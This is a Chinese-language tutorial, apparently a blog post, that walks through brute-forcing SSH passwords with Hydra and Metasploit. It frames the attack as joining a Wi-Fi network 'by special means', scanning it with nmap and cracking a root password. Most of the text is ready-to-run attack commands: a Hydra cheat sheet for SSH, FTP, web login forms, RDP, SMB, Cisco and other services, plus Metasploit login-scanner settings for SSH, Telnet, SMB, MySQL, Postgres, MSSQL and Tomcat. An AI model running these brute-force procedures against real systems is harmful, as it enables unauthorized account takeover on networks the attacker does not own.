Hydra&Metasploit暴力破解SSH登入口令
一. SSH服務開啟前基礎配置
1.1 修改配置檔案?
如下圖示:開啟root/etc/ssh/sshd_config 目錄下檔案
把# Port 22 修改為 Port 22 ,開啟22號埠
把# ListenAddress 0.0.0.0 修改為 ListenAddress 0.0.0.0 ,允許所有IP地址訪問22號埠
把# PermitRootLogin yes 修改為 PermitRootLogin yes ,開通root使用者登入許可權,即root使用者可以通過SSH遠端登入Kali
把# PasswordAuthentication yes 修改為 PasswordAuthentication yes ,開通密碼驗證服務,使用SSH遠端登入Kali時需要root使用者的密碼
1.2 在Kali介面開啟SSH 服務,然後將Kali放到後臺執行
在Kali命令後窗口輸入 service ssh start , 開啟SSH遠端登入服務
在Kali命令後窗口輸入 service ssh status , 檢視SSH服務狀態 ,如圖示:running
在Kali命令後窗口輸入 service ssh stop ,關閉SSH服務
在Kali命令後窗口輸入 service ssh restart ,重啟SSH服務
在Kali命令後窗口輸入 update-rc.d SSH enable ,開機自啟SSH服務
在Kali命令後窗口輸入 update-rc.d SSH disabled ,關閉SSH服務開機自啟
1.3 使用SecureCRT軟體登入Kali並進行管理操作
在MacBook Pro 桌面開啟SecureCRT軟體 (點此下載 Mac&Win可選)
開始建立新的Quick Connect連線
填寫Kali的IP地址、埠號(SSH服務一般是22號埠)、使用者
輸入root使用者的密碼,最後登入成功
二. 暴力破解SSH登入口令
假設我們通過特殊手段連入CMCC-xYz3 的Wi-Fi無線網路 ,拓撲圖如下:
2.1使用nmap 掃描192.168.1.0/24網段,檢視那臺裝置開啟SSH服務
下圖可知:
192.168.1.2 開放22號埠,開啟SSH服務,是一臺Apple主機;
192.168.1.3 開放22號埠,開啟SSH服務,是一臺基於Linux核心的Debian裝置
我們推斷,192.168.1.3 極有可能是一臺開放SSH服務的伺服器,而192.168.1.2是通過SSH連線伺服器的終端管理裝置
首先,我們知道192.168.1.3極有可能是開放SSH服務的某類伺服器,而我們需要知道其使用者名稱和登入口令,從而獲取192.168.1.3的控制權
其次,我們採用Hydra"九頭蛇"暴力破解工具來達到目的,在Kali命令列介面輸入 hydra -h ,檢視hydra幫助資訊,如下圖?
現在,通過使用Hydra來爆破192.168.1.3的使用者名稱和登入口令
Kali中自帶暴力破解字典,在/usr/share/wordlists/目錄下,可自行選取,技術大神也可自行編寫私人暴破字典!
當看到介面?顯示 [22][ssh] host: 192.168.1.3 login: root password: toor,我們太開心了!
暴力破解: hydra(九頭蛇) 引數: -R 繼續從上一次進度接著破解 -S 大寫,採用SSL連結 -s 小寫,可通過這個引數指定非預設埠 -l 指定破解的使用者,對特定使用者破解 -L 指定使用者名稱字典 -p 小寫,指定密碼破解,少用,一般是採用密碼字典 -P 大寫,指定密碼字典 -e 可選選項,n:空密碼試探,s:使用指定使用者和密碼試探 -C 使用冒號分割格式,例如“登入名:密碼”來代替-L/-P引數 -M 指定目標列表檔案一行一條 -o 指定結果輸出檔案 -f 在使用-M引數以後,找到第一對登入名或者密碼的時候中止破解 -t 同時執行的執行緒數,預設為16 -w 設定最大超時的時間,單位秒,預設是30s -v /-V顯示詳細過程 各協議的具體命令: 格式+示例: 1、破解ssh: hydra -L 使用者名稱字典 -p 密碼字典 -t 執行緒 -vV -e ns ip ssh hydra -l 使用者名稱 -p 密碼字典 -t 執行緒 -o save.log -vV ip ssh 2、破解ftp: hydra ip ftp -L 使用者名稱字典 -P 密碼字典 -t 執行緒(預設16) -vV hydra ip ftp -l 使用者名稱 -P 密碼字典 -e ns -vV 3、get方式提交,破解web登入: hydra -L 使用者名稱字典 -p 密碼字典 -t 執行緒 -vV -e ns ip http-get/admin/ hydra -l 使用者名稱 -p 密碼字典 -t 執行緒 -vV -e ns -f ip http-get/admin/index.PHP 4、post方式提交,破解web登入: hydra --L 使用者名稱字典 -P 密碼字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword" hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>" 引數說明: -t同時執行緒數3,-l使用者名稱是admin,字典pass.txt,儲存為out.txt,-f 當破解了一個密碼就停止, 10.36.16.18目標ip,http-post-form表示破解是採用http的post方式提交的表單密碼破解,<title>中的內容是表示錯誤猜解的返回資訊提示 5、破解https: hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https 6、破解teamspeak: hydra -L 使用者名稱字典 -P 密碼字典 -s 埠號 -vV ip teamspeak 7、破解cisco: hydra -P pass.txt 10.36.16.18 cisco hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable 8、破解smb: hydra -L 使用者名稱字典 -P pass.txt 10.36.16.18 smb 9、破解pop3: hydra -l muts -P pass.txt my.pop3.mail pop3 10、破解rdp: hydra ip rdp -l administrator -P pass.txt -V 11、破解http-proxy: hydra -l admin -P pass.txt http-proxy://10.36.16.18
2.2 使用Metasploit工具集中的小外掛暴破SSH服務登入口令
首先,開啟Metasploit,命令列以 msf > 開頭
在命令列視窗輸入 search ssh ,檢視與SSH相關的攻擊模組 ,其中,我們需要的模組:auxiliary/scanner/ssh/ssh_login
其次,在msf命令後介面輸入 use auxiliary/scanner/ssh/ssh_login ,呼叫SSH攻擊模組
在msf命令後介面輸入 show options ,檢視需要我們設定的引數 ,我們需要補充四點:目標主機IP地址、使用者名稱字典路徑、密碼字典路徑、執行緒數(即每秒跑幾個密碼)
設定完成後,我們再通過show options 命令檢視設定正確與否,如圖?
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.3 rhosts => 192.168.1.3 msf auxiliary(scanner/ssh/ssh_login) > set user_file /usr/share/wordlists/ssh_username.txt username_file => /usr/share/wordlists/ssh_username.txt msf auxiliary(scanner/ssh/ssh_login) > set pass_file /usr/share/wordlists/ssh_password.txt pass_file => /usr/share/wordlists/ssh_password.txt msf auxiliary(scanner/ssh/ssh_login) > set threads 5 threads => 5
最後,在msf命令後介面輸入 run 發起攻擊 ,經過漫長等待⌛️,我們看到:[+] 192.168.1.3:22 - Success: 'root:toor' !
Kali Linux(Metasploit口令猜解模組) Metasploit口令猜解模組—— SSH服務口令猜解: msf > use auxiliary/scanner/ssh/ssh_login(使用ssh_login模組) msf auxiliary(ssh_login) > show options (檢視選項) msf auxiliary(ssh_login) > set RHOSTS 10.107.0.99(目標) msf auxiliary(ssh_login) > set USER_FILE /root/username.txt(使用者名稱字典,或指定使用者) msf auxiliary(ssh_login) > set PASS_FILE /root/pass.txt(密碼字典檔案) msf auxiliary(ssh_login) > set THREADS 50(執行緒) msf auxiliary(ssh_login) > exploit (開始) Telnet口令猜解: msf > use auxiliary/scanner/telnet/telnet_login (使用telnet_login模組) msf auxiliary(telnet_login) > show options (檢視選項) msf auxiliary(telnet_login) > set RHOSTS 10.180.100.141(目標) msf auxiliary(telnet_login) > set USER_FILE /root/username.txt(使用者名稱字典,或指定使用者) msf auxiliary(telnet_login) > set PASS_FILE /root/pass.txt(密碼字典檔案) msf auxiliary(telnet_login) > exploit (開始) Samba口令猜解: msf > use auxiliary/scanner/smb/smb_login (使用smb_login模組) msf auxiliary(smb_login) > show options (檢視選項) msf auxiliary(smb_login) > set RHOSTS 10.180.100.10(目標) msf auxiliary(ssmb_login) > set USER_FILE /root/username.txt(使用者名稱字典,或指定使用者) msf auxiliary(ssmb_login) > set PASS_FILE /root/pass.txt(密碼字典檔案) msf auxiliary(ssmb_login) > exploit(開始) Mysql口令猜解: msf > use auxiliary/scanner/mysql/mysql_login (使用mysql_login模組) msf auxiliary(mysql_login) > show options (檢視選項) msf auxiliary(mysql_login) > set RHOSTS 192.168.230.176(目標) msf auxiliary(mysql_login) > set USERNAME root(使用者名稱字典,或指定使用者) msf auxiliary(mysql_login) > set PASS_FILE /root/pass.txt(密碼字典檔案) msf auxiliary(mysql_login) > exploit(開始) Postgresq口令猜解: msf > use auxiliary/scanner/postgres/postgres_login (使用postgres_login模組) msf auxiliary(postgres_login) > show options (檢視選項) msf auxiliary(postgres_login) > set RHOSTS 192.168.230.10(目標) msf auxiliary(postgres_login) > set USER_FILE /root/username.txt(使用者名稱字典,或指定使用者) msf auxiliary(postgres_login) > set PASS_FILE /root/pass.txt(密碼字典檔案) msf auxiliary(postgres_login) > exploit (開始) Mssql口令猜解: msf > use auxiliary/scanner/mssql/mssql_login (使用mssql_login 模組) msf auxiliary(mssql_login) > show options (檢視選項) msf auxiliary(mssql_login) > set RHOSTS 10.107.0.64(目標) msf auxiliary(mssql_login) > set USER_FILE /root/username.txt(使用者名稱字典,或指定使用者) msf auxiliary(mssql_login) > set PASS_FILE /root/pass.txt(密碼字典檔案) msf auxiliary(mssql_login) > exploit(開始) Tomcat口令猜解: msf > use auxiliary/scanner/http/tomcat_mgr_login (使用tomcat_mgr_login模組) msf auxiliary(tomcat_mgr_login) > show options(檢視選項) msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.230.176(目標) msf auxiliary(tomcat_mgr_login) > set USER_FILE username.txt(使用者名稱字典,或指定使用者) msf auxiliary(tomcat_mgr_login) > set PASS_FILE /root/pass.txt(密碼字典檔案) msf auxiliary(tomcat_mgr_login) > exploit(開始)